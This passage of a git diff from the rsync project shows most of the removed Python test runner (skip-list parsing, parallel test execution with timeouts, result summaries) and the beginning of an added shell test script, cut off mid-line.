RSYNC_EXPECT_SKIPPED spec into a normalised csv.\n-\n-    The spec is a comma-separated list of test names, '@FILE' skip-list\n-    references, and '-name' removals.  A skip-list file holds one test name per line ('#' starts a\n-    comment; blank lines are ignored), which is what keeps two branches from\n-    colliding: adding a test edits one line of one file rather than a shared\n-    3 KB csv.  Several may be composed, e.g.\n-        RSYNC_EXPECT_SKIPPED=@testsuite/skiplist/linux.txt,@.../proto29.txt\n-    Relative paths resolve against srcdir (not the cwd) so out-of-tree builds\n-    and `make installcheck` work.  A '-name' entry removes a name the rest of\n-    the spec added, for a host that can genuinely run a test its platform list\n-    expects to skip; it is applied last, and must actually remove something.\n-\n-    Entries must name a real test, and each file must be non-empty, sorted and\n-    free of duplicates: unsorted files defeat the point (everyone appends to\n-    the same last line), and a stale name would otherwise fail as a skip\n-    mismatch far from its cause.  Exits 2 on any of those -- nothing malformed\n-    may quietly shrink the expected set, which would disarm the oracle.\n-    \"\"\"\n-    def die(msg):\n-        sys.stderr.write(msg + '\\n')\n-        sys.exit(Exit.ERROR)\n-\n-    # An entirely empty spec is the legitimate \"expect no skips at all\".  An\n-    # empty entry *within* a spec is not: it is what an unset shell variable\n-    # expands to, and silently dropping it would quietly shrink the expected\n-    # set.\n-    if not spec.strip():\n-        return ''\n-\n-    names = []\n-    drop = []\n-    for tok in (t.strip() for t in spec.split(',')):\n-        if not tok:\n-            die('RSYNC_EXPECT_SKIPPED: empty entry (an unset variable?): '\n-                f'{spec!r}')\n-        if tok.startswith('-'):\n-            # '-name' removes a name a composed list added, for a host that\n-            # really can run a test its platform list expects to skip (e.g. a\n-            # scratch dir on a second filesystem makes a cross-device copy\n-            # work).  Subtraction cannot be done by whoever composes the spec,\n-            # because the name lives inside an @FILE that is only expanded\n-            # here.  Applied after every addition, so order does not matter.\n-            drop.append((tok[1:], tok))\n-            continue\n-        if not tok.startswith('@'):\n-            names.append((tok, 'RSYNC_EXPECT_SKIPPED'))\n-            continue\n-        path = tok[1:]\n-        if not os.path.isabs(path):\n-            path = os.path.join(srcdir, path)\n-        try:\n-            with open(path) as f:\n-                lines = f.readlines()\n-        except (OSError, UnicodeDecodeError) as e:\n-            die(f'{tok}: cannot read skip list: {e}')\n-        prev = None\n-        found = 0\n-        for lineno, raw in enumerate(lines, 1):\n-            name = raw.split('#', 1)[0].strip()\n-            if not name:\n-                continue\n-            where = f'{path}:{lineno}'\n-            if len(name.split()) != 1:\n-                die(f'{where}: expected one test name per line, got: {raw.rstrip()}')\n-            if prev is not None and name <= prev:\n-                die(f'{where}: skip lists must be sorted and duplicate-free '\n-                    f'({name!r} follows {prev!r})')\n-            prev = name\n-            found += 1\n-            names.append((name, where))\n-        # A truncated or emptied list must not read as \"expect no skips\".\n-        if not found:\n-            die(f'{path}: skip list contains no test names')\n-\n-    seen = {}\n-    for name, where in names:\n-        if name in seen:\n-            continue\n-        seen[name] = where\n-        # A plain test name: no path, and no comma (which the expanded csv,\n-        # and the summary the fleet parses back, use as the separator).\n-        if ',' in name or '/' in name or os.sep in name or name in ('.', '..'):\n-            die(f'{where}: not a test name: {name!r}')\n-        if not os.path.isfile(os.path.join(suitedir, name + '_test.py')):\n-            die(f'{where}: no such test: {name}')\n-    for name, tok in drop:\n-        # Every removal must remove something.  A name the spec never added is\n-        # stale (the list stopped expecting that skip, or it is misspelled), and\n-        # a repeated removal is the same no-op written twice.  Shrinking the\n-        # expected set is precisely what must not happen quietly, so neither is\n-        # allowed to sit in a config unnoticed.\n-        if name not in seen:\n-            die(f'RSYNC_EXPECT_SKIPPED: {tok!r} removes a name that nothing '\n-                f'added: {name}')\n-        del seen[name]\n-    return ','.join(sorted(seen))\n-\n-\n-def read_backport_exclude(tooldir, suitedir):\n-    \"\"\"Test names from the BUILD tree's testsuite/skiplist/backport.txt.\n-\n-    A stable-backport branch runs a newer suite than its own code, and this\n-    file names the tests that base cannot run.  It lives in the tree being\n-    built, not the suite tree, so it cannot be an @FILE in the expect-skipped\n-    spec -- those resolve against srcdir.\n-    \"\"\"\n-    path = os.path.join(tooldir, 'testsuite', 'skiplist', 'backport.txt')\n-    if not os.path.isfile(path):\n-        return set()\n-    names = set()\n-    with open(path) as f:\n-        for lineno, raw in enumerate(f, 1):\n-            name = raw.split('#', 1)[0].strip()\n-            if not name:\n-                continue\n-            where = f'{path}:{lineno}'\n-            if len(name.split()) != 1:\n-                sys.stderr.write(f'{where}: expected one test name per line\\n')\n-                sys.exit(Exit.ERROR)\n-            # A stale name here would silently exclude nothing, which is the\n-            # failure this file exists to prevent.\n-            if not os.path.isfile(os.path.join(suitedir, name + '_test.py')):\n-                sys.stderr.write(f'{where}: no such test: {name}\\n')\n-                sys.exit(Exit.ERROR)\n-            names.add(name)\n-    return names\n-\n-\n-_TIMING_TOP = 25\n-\n-\n-def print_timing_report(durations, outcomes, run_wall, parallel):\n-    \"\"\"Report per-test wall-clock, slowest first (--timing).\n-\n-    With -j N the run cannot finish sooner than its slowest single test, so the\n-    tail matters as much as the total: a 300s test pins the whole suite to 300s\n-    no matter how many workers there are. The footer gives both bounds -- the\n-    serial sum (what one worker would take) and that floor -- so it is obvious\n-    whether a slow run wants more parallelism or a faster individual test.\"\"\"\n-    if not durations:\n-        return\n-    ranked = sorted(durations.items(), key=lambda kv: kv[1], reverse=True)\n-    total = sum(durations.values())\n-    print(f'----- slowest tests (of {len(ranked)}, wall-clock each):')\n-    for name, secs in ranked[:_TIMING_TOP]:\n-        print(f'      {secs:7.1f}s  {name:<32} {outcomes.get(name, \"?\")}')\n-    print(f'      serial sum {total:.0f}s over {len(ranked)} tests; '\n-          f'run took {run_wall:.0f}s with -j{parallel}')\n-    slowest, slowest_secs = ranked[0]\n-    if parallel > 1:\n-        # The floor: even with unlimited workers the suite cannot beat its\n-        # longest single test.\n-        print(f'      floor {slowest_secs:.0f}s ({slowest}) = '\n-              f'{100.0 * slowest_secs / run_wall:.0f}% of this run; '\n-              f'ideal at -j{parallel} is {total / parallel:.0f}s')\n-\n-\n-def outcome_of(result):\n-    \"\"\"Map a per-test exit code to an outcome string.\"\"\"\n-    if result == Exit.PASS:\n-        return 'pass'\n-    if result == Exit.SKIP:\n-        return 'skip'\n-    if result == Exit.XFAIL:\n-        return 'xfail'\n-    return 'fail'\n-\n-\n-def build_rsync_cmd(rsync_bin, args, scratchbase):\n-    \"\"\"Build the RSYNC command string for tests.\"\"\"\n-    parts = []\n-    if args.valgrind:\n-        # Logs go in a world-writable+sticky subdir so that rsync children\n-        # which drop privileges (the setpriv cap-drop in partial_nowrite, a\n-        # daemon dropping to the module's uid) can still create their log file\n-        # even when scratchbase itself is root-owned.\n-        vgdir = os.path.join(scratchbase, 'valgrind-logs')\n-        os.makedirs(vgdir, exist_ok=True)\n-        os.chmod(vgdir, 0o1777)\n-        vlog = os.path.join(vgdir, 'valgrind.%p.log')\n-        vopts = f'--log-file={vlog}'\n-        supp = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n-                            'testsuite', 'valgrind.supp')\n-        if os.path.exists(supp):\n-            vopts += f' --suppressions={supp}'\n-        if args.valgrind_opts:\n-            vopts += ' ' + args.valgrind_opts\n-        parts.append(f'valgrind {vopts}')\n-    parts.append(rsync_bin)\n-    if args.protocol is not None:\n-        parts.append(f'--protocol={args.protocol}')\n-    return ' '.join(parts)\n-\n-\n-class TestResult:\n-    \"\"\"Result of a single test execution.\"\"\"\n-    __slots__ = ('testbase', 'result', 'output', 'skipped_reason', 'duration')\n-\n-    def __init__(self, testbase, result, output='', skipped_reason='',\n-                 duration=0.0):\n-        self.testbase = testbase\n-        self.result = result\n-        self.output = output\n-        self.skipped_reason = skipped_reason\n-        self.duration = duration\n-\n-\n-def run_one_test(testscript, testbase, scratchdir, base_env, timeout,\n-                 srcdir, tooldir, setfacl_nodef, always_log):\n-    \"\"\"Run a single test. Returns a TestResult.\n-\n-    This function is safe to call from multiple threads — it uses only\n-    per-test state (unique scratchdir, copy of env).\n-    \"\"\"\n-    started = time.monotonic()\n-    prep_scratch(scratchdir, srcdir, tooldir, setfacl_nodef)\n-\n-    env = base_env.copy()\n-    env['scratchdir'] = scratchdir\n-\n-    # Dispatch by extension: shell tests via /bin/sh -e, Python tests via\n-    # the same python3 that's running this runner.\n-    if testscript.endswith('.py'):\n-        cmd = [sys.executable, testscript]\n-    else:\n-        cmd = ['sh', '-e', testscript]\n-\n-    logfile = os.path.join(scratchdir, 'test.log')\n-    with open(logfile, 'w') as log:\n-        # start_new_session: run the test driver as its own session/group leader\n-        # so the daemon, clients and flipper it spawns inherit that group. A\n-        # timeout then killpg's the whole tree (not just the driver), and the\n-        # lock-file sweep can reap a SIGKILLed run's stranded group the same way.\n-        proc = subprocess.Popen(\n-            cmd,\n-            stdout=log, stderr=subprocess.STDOUT,\n-            env=env, cwd=env.get('TOOLDIR', '.'),\n-            start_new_session=True,\n-        )\n-        try:\n-            result = proc.wait(timeout=timeout)\n-        except subprocess.TimeoutExpired:\n-            # Reap the whole session group, but only if the driver really is its\n-            # own group leader (start_new_session took) and that group isn't ours\n-            # -- killpg of our own group would take down the runner.\n-            try:\n-                pgid = os.getpgid(proc.pid)\n-            except OSError:\n-                pgid = -1\n-            if pgid == proc.pid and pgid != os.getpgrp():\n-                try:\n-                    os.killpg(pgid, signal.SIGKILL)\n-                except OSError:\n-                    proc.kill()\n-            else:\n-                proc.kill()\n-            proc.wait()\n-            result = 1\n-            log.write(f\"\\nTIMEOUT: test took over {timeout} seconds\\n\")\n-\n-    # Build output text\n-    output_parts = []\n-\n-    show_log = always_log or (result not in (Exit.PASS, Exit.SKIP, Exit.XFAIL))\n-    if show_log:\n-        output_parts.append(f'----- {testbase} log follows')\n-        try:\n-            with open(logfile) as f:\n-                output_parts.append(f.read().rstrip())\n-        except FileNotFoundError:\n-            pass\n-        output_parts.append(f'----- {testbase} log ends')\n-        rsyncd_log = os.path.join(scratchdir, 'rsyncd.log')\n-        if os.path.isfile(rsyncd_log):\n-            output_parts.append(f'----- {testbase} rsyncd.log follows')\n-            with open(rsyncd_log) as f:\n-                output_parts.append(f.read().rstrip())\n-            output_parts.append(f'----- {testbase} rsyncd.log ends')\n-\n-    skipped_reason = ''\n-    if result == Exit.PASS:\n-        output_parts.append(f'PASS    {testbase}')\n-    elif result == Exit.SKIP:\n-        whyfile = os.path.join(scratchdir, 'whyskipped')\n-        try:\n-            with open(whyfile) as f:\n-                skipped_reason = f.read().strip()\n-        except FileNotFoundError:\n-            pass\n-        output_parts.append(f'SKIP    {testbase} ({skipped_reason})')\n-    elif result == Exit.XFAIL:\n-        output_parts.append(f'XFAIL   {testbase}')\n-    else:\n-        output_parts.append(f'FAIL    {testbase}')\n-\n-    return TestResult(testbase, result, '\\n'.join(output_parts), skipped_reason,\n-                      time.monotonic() - started)\n-\n-\n-# Lock for serializing output in parallel mode\n-_print_lock = threading.Lock()\n-\n-\n-def main():\n-    args = parse_args()\n-\n-    # Also accept legacy environment variables\n-    if args.preserve_scratch or os.environ.get('preserve_scratch') == 'yes':\n-        args.preserve_scratch = True\n-    if args.log_level == 1:\n-        args.log_level = int(os.environ.get('loglevel', '1'))\n-    if args.expect_skipped is None:\n-        args.expect_skipped = os.environ.get('RSYNC_EXPECT_SKIPPED', 'IGNORE')\n-    if args.exclude is None:\n-        args.exclude = os.environ.get('RSYNC_EXCLUDE', '')\n-    if os.environ.get('whichtests'):\n-        args.tests = [os.environ['whichtests']]\n-\n-    # Determine directories\n-    tooldir = args.tooldir or os.environ.get('TOOLDIR') or os.getcwd()\n-    script_path = os.path.dirname(os.path.abspath(__file__))\n-    srcdir = args.srcdir or script_path\n-    if not srcdir or srcdir == '.':\n-        srcdir = tooldir\n-    rsync_bin = args.rsync_bin or os.environ.get('rsync_bin') or os.path.join(tooldir, 'rsync')\n-    # Absolutize: tests run with subprocess(cwd=TOOLDIR) below, so a relative\n-    # argv[0] would re-resolve against TOOLDIR rather than the runner's\n-    # invocation cwd, breaking --rsync-bin=../foo/rsync forms.  abspath()\n-    # captures os.getcwd() now, which is what the operator intended.\n-    if rsync_bin and not os.path.isabs(rsync_bin):\n-        rsync_bin = os.path.abspath(rsync_bin)\n-\n-    # Optional second (\"peer\") binary for the daemon / remote-shell side, so a\n-    # run can mix two rsync versions. Defaults to rsync_bin -> no mixing.\n-    rsync_bin2 = args.rsync_bin2 or os.environ.get('rsync_bin2') or rsync_bin\n-    if rsync_bin2 and not os.path.isabs(rsync_bin2):\n-        rsync_bin2 = os.path.abspath(rsync_bin2)\n-\n-    suitedir = os.path.join(srcdir, 'testsuite')\n-    # A backport tree excludes what its base cannot run.  Those tests never\n-    # run, so they must also drop out of the expected-skip set -- otherwise the\n-    # oracle demands a skip from a test that was never started.\n-    backport_excl = read_backport_exclude(tooldir, suitedir)\n-    if backport_excl:\n-        args.exclude = ','.join(x for x in (args.exclude,\n-                                            ','.join(sorted(backport_excl))) if x)\n-    if args.expect_skipped != 'IGNORE':\n-        args.expect_skipped = expand_skip_spec(args.expect_skipped, srcdir, suitedir)\n-        if backport_excl:\n-            args.expect_skipped = ','.join(n for n in args.expect_skipped.split(',')\n-                                           if n and n not in backport_excl)\n-    scratchbase = os.path.join(os.environ.get('scratchbase', tooldir), 'testtmp')\n-    os.makedirs(scratchbase, exist_ok=True)\n-\n-    shconfig = read_shconfig(os.path.join(tooldir, 'shconfig'))\n-    tls_args = get_tls_args(os.path.join(tooldir, 'config.h'))\n-    setfacl_nodef = find_setfacl_nodef(scratchbase)\n-    rsync_cmd = build_rsync_cmd(rsync_bin, args, scratchbase)\n-    rsync_peer_cmd = build_rsync_cmd(rsync_bin2, args, scratchbase)\n-\n-    if not os.path.isfile(rsync_bin):\n-        sys.stderr.write(f\"rsync_bin {rsync_bin} is not a file\\n\")\n-        sys.exit(Exit.ERROR)\n-    if not os.path.isfile(rsync_bin2):\n-        sys.stderr.write(f\"rsync_bin2 {rsync_bin2} is not a file\\n\")\n-        sys.exit(Exit.ERROR)\n-    if not os.path.isdir(srcdir):\n-        sys.stderr.write(f\"srcdir {srcdir} is not a directory\\n\")\n-        sys.exit(Exit.ERROR)\n-\n-    # Helper programs the test scripts invoke directly. Missing any of these\n-    # would cause many tests to fail with confusing \"not found\" errors, so\n-    # check up front and point the user at the make target that builds them.\n-    required_helpers = ['tls', 'trimslash', 't_unsafe', 't_chmod_secure',\n-                        't_secure_relpath',\n-                        'wildtest', 'getgroups', 'getfsdev']\n-    missing = [h for h in required_helpers\n-               if not os.path.isfile(os.path.join(tooldir, h))]\n-    if missing:\n-        sys.stderr.write(\n-            f\"runtests.py: missing test helper program(s) in {tooldir}: \"\n-            f\"{', '.join(missing)}\\n\"\n-            f\"Build them with: make {' '.join(missing)}\\n\"\n-            f\"or run the full test target: make check\\n\"\n-        )\n-        sys.exit(Exit.ERROR)\n-\n-    testuser = get_testuser()\n-\n-    # Print header\n-    print('=' * 60)\n-    print(f'{sys.argv[0]} running in {tooldir}')\n-    print(f'    rsync_bin={rsync_cmd}')\n-    if rsync_peer_cmd != rsync_cmd:\n-        print(f'    rsync_peer={rsync_peer_cmd}')\n-    print(f'    srcdir={srcdir}')\n-    print(f'    TLS_ARGS={tls_args}')\n-    print(f'    testuser={testuser}')\n-    print(f'    os={subprocess.check_output([\"uname\", \"-a\"], text=True).strip()}')\n-    print(f'    preserve_scratch={\"yes\" if args.preserve_scratch else \"no\"}')\n-    if args.valgrind:\n-        print(f'    valgrind=enabled (logs in valgrind-logs/valgrind.*.log)')\n-    if args.parallel > 1:\n-        print(f'    parallel={args.parallel}')\n-    print(f'    daemon_transport={\"tcp (loopback)\" if args.use_tcp else \"pipe (secure default)\"}')\n-    print(f'    scratchbase={scratchbase}')\n-\n-    # Build base environment for test scripts\n-    path = os.environ.get('PATH', '')\n-    if os.path.isdir('/usr/xpg4/bin'):\n-        path = '/usr/xpg4/bin:' + path\n-\n-    # Make the testsuite/ directory importable so Python tests can `import rsyncfns`.\n-    pythonpath = suitedir\n-    if os.environ.get('PYTHONPATH'):\n-        pythonpath = suitedir + os.pathsep + os.environ['PYTHONPATH']\n-\n-    base_env = os.environ.copy()\n-    base_env.update({\n-        'PATH': path,\n-        'POSIXLY_CORRECT': '1',\n-        'TOOLDIR': tooldir,\n-        'srcdir': srcdir,\n-        'RSYNC': rsync_cmd,\n-        'RSYNC_PEER': rsync_peer_cmd,\n-        'TLS_ARGS': tls_args,\n-        'RUNSHFLAGS': '-e',\n-        'scratchbase': scratchbase,\n-        'suitedir': suitedir,\n-        'TESTRUN_TIMEOUT': str(args.timeout),\n-        'HOME': scratchbase,\n-        'PYTHONPATH': pythonpath,\n-    })\n-    if args.use_tcp:\n-        # Opt-in: daemon tests start a real rsyncd on a claimed loopback port.\n-        # Default (unset) keeps the secure stdio-pipe transport.\n-        base_env['RSYNC_TEST_USE_TCP'] = '1'\n-    if args.race_timeout is not None:\n-        # Only exported when the operator actually passed --race-timeout: its\n-        # mere presence is what tells a race test to override its own default.\n-        base_env['race_timeout'] = str(args.race_timeout)\n-    else:\n-        # A stale value inherited from the environment would silently override\n-        # every test's default; the flag is the only way to set this.\n-        base_env.pop('race_timeout', None)\n-    for k, v in shconfig.items():\n-        if v:\n-            base_env[k] = v\n-    if setfacl_nodef:\n-        base_env['setfacl_nodef'] = ' '.join(setfacl_nodef)\n-    else:\n-        base_env['setfacl_nodef'] = 'true'\n-    if args.log_level > 8:\n-        base_env['RUNSHFLAGS'] = '-e -x'\n-\n-    # Collect tests\n-    tests = collect_tests(suitedir, args.tests)\n-    full_run = len(args.tests) == 0\n-\n-    # Drop excluded tests entirely (matched by basename against name/glob).\n-    excl = [e.strip() for e in args.exclude.split(',') if e.strip()]\n-    if excl:\n-        before = len(tests)\n-        tests = [t for t in tests\n-                 if not any(fnmatch.fnmatch(_testbase(t), pat) for pat in excl)]\n-        if before != len(tests):\n-            print(f\"Excluding {before - len(tests)} test(s) matching: \"\n-                  f\"{', '.join(excl)}\")\n-\n-    # Narrow to the daemon-transport tests. The dropped count is always printed:\n-    # a pass that silently ran a third of the suite would read in the report as\n-    # if it had run all of it.\n-    if args.daemon_tests_only:\n-        tests, dropped = select_daemon_tests(tests)\n-        print(f\"Daemon-transport tests only: running {len(tests)}, skipping \"\n-              f\"{len(dropped)} test(s) that cannot observe the transport\")\n-        # The expected-skip list describes a full run, so it cannot be enforced\n-        # against a subset -- same rule as naming tests explicitly.\n-        full_run = False\n-\n-    # An expected-result manifest defines BOTH the run set (its keys) and the\n-    # expected per-test outcome (its values). Used for version-mixing runs.\n-    expect = parse_expect_result(args.expect_result) if args.expect_result else None\n-    if expect is not None:\n-        have = {_testbase(t) for t in tests}\n-        unknown = sorted(k for k in expect if k not in have)\n-        if unknown:\n-            sys.stderr.write(\n-                \"runtests.py: --expect-result lists test(s) with no matching \"\n-                f\"test file (ignored): {', '.join(unknown)}\\n\"\n-            )\n-        tests = [t for t in tests if _testbase(t) in expect]\n-        full_run = False\n-\n-    def _cls(outcome):\n-        \"\"\"Equivalence class for outcome comparison: fail and xfail both just\n-        mean 'broke', so a manifest 'fail' matches an actual fail OR xfail.\"\"\"\n-        return 'broken' if outcome in ('fail', 'xfail') else outcome\n-\n-    def mismatch(testbase, actual):\n-        \"\"\"True if actual outcome disagrees with the manifest expectation.\"\"\"\n-        return expect is not None and _cls(expect[testbase]) != _cls(actual)\n-\n-    # Record test order for consistent skipped-list output\n-    test_order = {_testbase(t): i for i, t in enumerate(tests)}\n-\n-    passed = 0\n-    failed = 0\n-    skipped = 0\n-    xfailed = 0\n-    skipped_list = []\n-    outcomes = {}  # testbase -> actual outcome string ('pass'/'skip'/'fail'/'xfail')\n-    durations = {}  # testbase -> wall-clock seconds (for --timing)\n-\n-    def process_result(tr):\n-        \"\"\"Process a TestResult and update counters. Returns True if the test\n-        should count as a failure for --stop-on-fail purposes.\"\"\"\n-        nonlocal passed, failed, skipped, xfailed\n-        with _print_lock:\n-            if tr.output:\n-                print(tr.output)\n-        scratchdir = os.path.join(scratchbase, tr.testbase)\n-        oc = outcome_of(tr.result)\n-        outcomes[tr.testbase] = oc\n-        durations[tr.testbase] = tr.duration\n-        if tr.result == Exit.PASS:\n-            passed += 1\n-        elif tr.result == Exit.SKIP:\n-            skipped_list.append(tr.testbase)\n-            skipped += 1\n-        elif tr.result == Exit.XFAIL:\n-            # XFAIL: an expected failure (a known, documented residual the test\n-            # asserts against). Reported distinctly but does NOT fail the suite;\n-            # when the underlying issue is fixed the test returns 0 instead.\n-            xfailed += 1\n-        else:\n-            failed += 1\n-        if tr.result in (Exit.PASS, Exit.SKIP, Exit.XFAIL) and not args.preserve_scratch \\\n-                and os.path.isdir(scratchdir):\n-            subprocess.run(['rm', '-rf', scratchdir], capture_output=True)\n-        # With a manifest, only a mismatch is a \"failure\" (an expected fail is\n-        # fine); without one, any non-pass/non-skip/non-xfail result is a failure.\n-        if expect is not None:\n-            return mismatch(tr.testbase, oc)\n-        return tr.result not in (Exit.PASS, Exit.SKIP, Exit.XFAIL)\n-\n-    run_started = time.monotonic()\n-\n-    if args.parallel > 1:\n-        # Parallel execution\n-        with concurrent.futures.ThreadPoolExecutor(max_workers=args.parallel) as executor:\n-            futures = {}\n-            for testscript in tests:\n-                testbase = _testbase(testscript)\n-                scratchdir = os.path.join(scratchbase, testbase)\n-                timeout = 600 if ('hardlinks' in testbase or testbase == 'variety') else args.timeout\n-                f = executor.submit(\n-                    run_one_test, testscript, testbase, scratchdir,\n-                    base_env, timeout, srcdir, tooldir, setfacl_nodef,\n-                    args.always_log\n-                )\n-                futures[f] = testbase\n-\n-            for f in concurrent.futures.as_completed(futures):\n-                tr = f.result()\n-                is_fail = process_result(tr)\n-                if is_fail and args.stop_on_fail:\n-                    # Cancel pending futures\n-                    for pending in futures:\n-                        pending.cancel()\n-                    break\n-    else:\n-        # Sequential execution\n-        for testscript in tests:\n-            testbase = _testbase(testscript)\n-            scratchdir = os.path.join(scratchbase, testbase)\n-            timeout = 600 if ('hardlinks' in testbase or testbase == 'variety') else args.timeout\n-            tr = run_one_test(\n-                testscript, testbase, scratchdir,\n-                base_env, timeout, srcdir, tooldir, setfacl_nodef,\n-                args.always_log\n-            )\n-            is_fail = process_result(tr)\n-            if is_fail and args.stop_on_fail:\n-                break\n-\n-    run_wall = time.monotonic() - run_started\n-\n-    # Check valgrind logs for errors\n-    vg_errors = 0\n-    if args.valgrind:\n-        for vlog in sorted(glob.glob(os.path.join(scratchbase, 'valgrind-logs', 'valgrind.*.log'))):\n-            try:\n-                with open(vlog) as f:\n-                    content = f.read()\n-                for line in content.splitlines():\n-                    if 'ERROR SUMMARY:' in line and 'ERROR SUMMARY: 0 errors' not in line:\n-                        vg_errors += 1\n-                        print(f'----- valgrind errors in {os.path.basename(vlog)}:')\n-                        print(content)\n-                        break\n-            except FileNotFoundError:\n-                pass\n-\n-    # Summary\n-    print('-' * 60)\n-    print('----- overall results:')\n-    print(f'      {passed} passed')\n-    if failed > 0:\n-        print(f'      {failed} failed')\n-    if xfailed > 0:\n-        print(f'      {xfailed} xfailed (expected)')\n-    if skipped > 0:\n-        print(f'      {skipped} skipped')\n-    if vg_errors > 0:\n-        print(f'      {vg_errors} valgrind error(s) found (see logs in {os.path.join(scratchbase, \"valgrind-logs\")})')\n-\n-    if args.timing:\n-        print_timing_report(durations, outcomes, run_wall, args.parallel)\n-\n-    if expect is not None:\n-        # Version-mixing mode: the run is judged purely on whether each test's\n-        # actual outcome matched its manifest expectation. An expected 'fail'\n-        # is fine; an UNEXPECTED pass (xpass) or any other divergence is not.\n-        mismatches = []\n-        for tb in sorted(expect, key=lambda x: test_order.get(x, 1 << 30)):\n-            actual = outcomes.get(tb, 'notrun')\n-            if actual == 'notrun' or mismatch(tb, actual):\n-                mismatches.append((tb, expect[tb], actual))\n-        if mismatches:\n-            print('----- expected-result mismatches:')\n-            for tb, want, got in mismatches:\n-                tag = ' (xpass)' if _cls(want) == 'broken' and got == 'pass' else ''\n-                print(f'      {tb}: expected {want}, got {got}{tag}')\n-        print('-' * 60)\n-        exit_code = len(mismatches) + vg_errors\n-        print(f'overall result is {exit_code}')\n-        sys.exit(exit_code)\n-\n-    skipped_str = ','.join(sorted(skipped_list, key=lambda x: test_order.get(x, 0)))\n-    if full_run and args.expect_skipped != 'IGNORE':\n-        print('----- skipped results:')\n-        print(f'      expected: {args.expect_skipped}')\n-        print(f'      got:      {skipped_str}')\n-    else:\n-        skipped_str = ''\n-        args.expect_skipped = ''\n-\n-    print('-' * 60)\n-\n-    exit_code = failed + vg_errors\n-    if exit_code == 0:\n-        # Compare the skipped set order-insensitively: which tests skipped is\n-        # what matters, not the order runtests happened to collect them in\n-        # (that order is just sorted filenames -- an easy thing to get subtly\n-        # wrong when maintaining the per-platform expected lists).\n-        got = set(s for s in skipped_str.split(',') if s)\n-        want = set(s for s in args.expect_skipped.split(',') if s)\n-        if got != want:\n-            exit_code = 1\n-\n-    print(f'overall result is {exit_code}')\n-    sys.exit(exit_code)\n-\n-\n-if __name__ == '__main__':\n-    main()\ndiff --git a/runtests.sh b/runtests.sh\nnew file mode 100755\nindex 0000000..0c463be\n--- /dev/null\n+++ b/runtests.sh\n@@ -0,0 +1,360 @@\n+#! /bin/sh\n+\n+# Copyright (C) 2001, 2002 by Martin Pool <mbp@samba.org>\n+# Copyright (C) 2003-2022 Wayne Davison\n+\n+# This program is free software; you can redistribute it and/or modify\n+# it under the terms of the GNU General Public License version\n+# 2 as published by the Free Software Foundation.\n+#\n+# This program is distributed in the hope that it will be useful, but\n+# WITHOUT ANY WARRANTY; without even the implied warranty of\n+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n+# Lesser General Public License for more details.\n+#\n+# You should have received a copy of the GNU Lesser General Public\n+# License along with this program; if not, write to the Free Software\n+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n+\n+# -------------------------------------------------------------------------\n+\n+# rsync top-level test script -- this invokes all the other more\n+# detailed tests in order.  This script can either be called by `make\n+# check' or `make installcheck'.  `check' runs against the copies of\n+# the program and other files in the build directory, and\n+# `installcheck' against the installed copy of the program.\n+\n+# It can also be called on a single test file using a run like this:\n+#\n+#  preserve_scratch=yes whichtests=itemize.test ./runtests.sh\n+\n+# In either case we need to also be able to find the source directory,\n+# since we read test scripts and possibly other information from\n+# there.\n+\n+# Whenever possible, informational messages are written to stdout and\n+# error messages to stderr.  They're separated out by the build farm\n+# display scripts.\n+\n+# According to the GNU autoconf manual, the only valid place to set up\n+# directory locations is through Make, since users are allowed to (try\n+# to) change their mind on the Make command line.  So, Make has to\n+# pass in all the values we need.\n+\n+# For other configured settings we read ./config.sh, which tells us\n+# about shell commands on this machine and similar things.\n+\n+# rsync_bin gives the location of the rsync binary.  This is either\n+# builddir/rsync if we're testing an uninstalled copy, or\n+# install_prefix/bin/rsync if we're testing an installed copy.  On the\n+# build farm rsync will be installed, but into a scratch /usr.\n+\n+# srcdir gives the location of the source tree, which lets us find the\n+# build scripts.  At the moment we assume we are invoked from the\n+# source directory.\n+\n+# This script must be invoked from the build directory.\n+\n+# A scratch directory, 'testtmp', is used in the build directory to\n+# hold per-test subdirectories.\n+\n+# This script also uses the $loglevel environment variable.  1 is the\n+# default value, and 10 the most verbose.  You can set this from the\n+# Make command line.  It's also set by the build farm to give more\n+# detail for failing builds.\n+\n+# -------------------------------------------------------------------------\n+\n+# NOTES FOR TEST CASES:\n+\n+# Each test case runs in its own shell.\n+\n+# Exit codes from tests:\n+\n+#    1  tests failed\n+#    2  error in starting tests\n+#   77  this test skipped (random value unlikely to happen by chance, same as\n+#       automake)\n+\n+# HOWEVER, the overall exit code to the farm is different: we return\n+# the *number of tests that failed*, so that it will show up nicely in\n+# the overall summary.\n+\n+# rsync.fns contains some general setup functions and definitions.\n+\n+# -------------------------------------------------------------------------\n+\n+# NOTES ON PORTABILITY:\n+\n+# Both this script and the Makefile have to be pretty conservative\n+# about which Unix features they use.\n+\n+# We cannot count on Make exporting variables to commands, unless\n+# they're explicitly given on the command line.\n+\n+# Also, we can't count on 'cp -a' or 'mkdir -p', although they're\n+# pretty handy (see function makepath for the latter).\n+\n+# I think some of the GNU documentation suggests that we shouldn't\n+# rely on shell functions.  However, the Bash manual seems to say that\n+# they're in POSIX 1003.2, and since the build farm relies on them\n+# they're probably working on most machines we really care about.\n+\n+# You cannot use \"function foo {\" syntax, but must instead say \"foo()\n+# {\", or it breaks on FreeBSD.\n+\n+# BSD machines tend not to have \"head\" or \"seq\".\n+\n+# You cannot do \"export VAR=VALUE\" all on one line; the export must be\n+# separate from the assignment.  (SCO SysV)\n+\n+# Don't rely on grep -q, as that doesn't work everywhere -- just redirect\n+# stdout to /dev/null to keep it quiet.\n+\n+# -------------------------------------------------------------------------\n+\n+# STILL TO DO:\n+\n+# We need a good protection against tests that hang indefinitely.\n+# Perhaps some combination of starting them in the background, wait,\n+# and kill?\n+\n+# Perhaps we need a common way to cleanup tests.  At the moment just\n+# clobbering the directory when we're done should be enough.\n+\n+# If any of the targets fail, then (GNU?) Make returns 2, instead of\n+# the return code from the failing command.  This is fine, but it\n+# means that the build farm just shows \"2\" for failed tests, not the\n+# number of tests that actually failed.  For more details we might\n+# need to grovel through the log files to find a line saying how many\n+# failed.\n+\n+\n+set -e\n+\n+. \"./shconfig\"\n+\n+RUNSHFLAGS='-e'\n+export RUNSHFLAGS\n+\n+# for Solaris\n+if [ -d /usr/xpg4/bin ]; then\n+    PATH=\"/usr/xpg4/bin/:$PATH\"\n+    export PATH\n+fi\n+\n+if [ \"x$loglevel\" != x ] && [ \"$loglevel\" -gt 8 ]; then\n+    if set -x; then\n+\t# If it doesn't work the first time, don't keep 